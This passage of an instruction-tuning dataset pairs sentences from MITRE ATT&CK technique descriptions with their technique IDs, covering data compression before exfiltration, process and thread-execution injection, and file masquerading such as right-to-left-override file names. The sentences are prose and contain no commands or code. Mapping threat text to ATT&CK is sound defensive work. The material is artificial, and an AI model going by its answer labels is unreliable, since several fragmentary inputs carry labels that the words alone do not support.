T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", "output": "T1583.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) ### Response: T1583.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may compress and/or encrypt data that is collected prior to exfiltration.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may compress and/or encrypt data that is collected prior to exfiltration. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", "output": "T1560", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method. ### Response: T1560."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github).", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most libraries include functionality to encrypt and/or compress data.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most libraries include functionality to encrypt and/or compress data. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Note that the libraries are different from the utilities.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Note that the libraries are different from the utilities. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.", "output": "T1560.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism. ### Response: T1560.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code> ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017) ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.", "output": "T1079", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS. ### Response: T1079."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, and contents.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, and contents. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various file types have a typical standard format, including how they are encoded and organized.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various file types have a typical standard format, including how they are encoded and organized. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the header of a JPEG file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`, `.JPEG` or `.JPG`. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001))", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "so that adversaries may move their malware without triggering detections.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: so that adversaries may move their malware without triggering detections. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user may not know that a file is malicious due to the benign appearance and file extension.", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user may not know that a file is malicious due to the benign appearance and file extension. ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)", "output": "T1036.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID) ### Response: T1036.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities.", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing.", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>).", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>). ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Masquerade Ball)", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Masquerade Ball) ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths.", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: F-Secure CozyDuke)", "output": "T1036.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: F-Secure CozyDuke) ### Response: T1036.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can hide a program's true filetype by changing the extension of a file.", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can hide a program's true filetype by changing the extension of a file. ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute.", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary).", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "output": "T1036.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious. ### Response: T1036.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign.", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name.", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many benign tasks and services exist that have commonly associated names.", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many benign tasks and services exist that have commonly associated names. ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may give tasks or services names that are similar or identical to those of legitimate ones. ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Fysbis Dr Web Analysis)", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Fysbis Dr Web Analysis) ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation:", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infosecinstitute RTLO Technique)", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infosecinstitute RTLO Technique) ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation:", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky RTLO Cyber Crime)", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky RTLO Cyber Crime) ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", "output": "T1036.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. ### Response: T1036.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is done for the sake of evading defenses and observation.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done for the sake of evading defenses and observation. ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe).", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. ### Response: T1036.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use the same icon of the file they are trying to mimic.", "output": "T1036.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use the same icon of the file they are trying to mimic. ### Response: T1036.005."}{"instruction": "List the MITRE techniques 